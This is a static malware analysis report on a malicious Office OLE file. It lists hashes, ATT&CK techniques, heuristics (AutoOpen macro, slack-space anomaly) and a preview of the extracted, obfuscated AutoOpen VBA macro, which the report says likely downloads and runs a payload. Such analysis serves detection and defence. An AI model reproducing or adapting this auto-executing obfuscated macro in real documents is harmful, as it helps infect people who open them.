Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dcc4aeef83f611b1…

MALICIOUS

Office (OLE)

73.3 KB First seen: 2019-03-18
MD5: d5138a4d6eefbaa28e6f4befb1533ab4 SHA-1: 3f3a91f46a2e48ebd55ea647c140af4bb54869b5 SHA-256: dcc4aeef83f611b1c6675863045f69b3f05cc562851afa7b1a57e4408914fe1e
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OLE document containing VBA macros, specifically an AutoOpen macro designed to execute malicious code upon opening. The macro appears to be obfuscated, but its presence and the 'AutoOpen' trigger strongly suggest an attempt to download and execute a secondary payload. The OLE slack space anomaly further indicates potential data hiding or manipulation within the file structure.

Heuristics 4

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 75,093 bytes but its declared streams total only 36,395 bytes — 38,698 bytes (52%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 862 bytes
SHA-256: 3655af682fd0bf0492e5f8989aee8fb5bf1c14a8d49f5f8ccbd778e41371741a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "vvrPUYm"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   If fQVuAo <= 1 Then

TnzGaz = "GTXi"
End If
   If FhuwfK <= 11 Then

ELKjV = "ji"
End If
   If XwmJht >= 15 Then

KDDRZk = "RQcNdd"
End If
   If WfGzL = cZhswQ Then

rXzsnQ = "vCnfFd"
End If
MniJQWh (KeyString(AoPkf + WYpqKEEG + 8 + 8 + 51 + FPjOdBzr + PFlmQAXd) + UBNIJmT + FbOro + KeyString(dsXnQtYo + nCaJhb + 9 + 9 + 59 + XDBaE + mqCRANw) + HbbcVFTXnn + YPibOusk + FwucrdH + mnsPqtbR + aDrpGm + Ysvbct)
   If QwwiRH <= jsXTr Then

rhZFCG = "HbjEUiUuUtSJ"
End If
   If ofDsFS Xor KziSLv Then

KWVamX = "pStJnnfLwFK"
End If
End Sub

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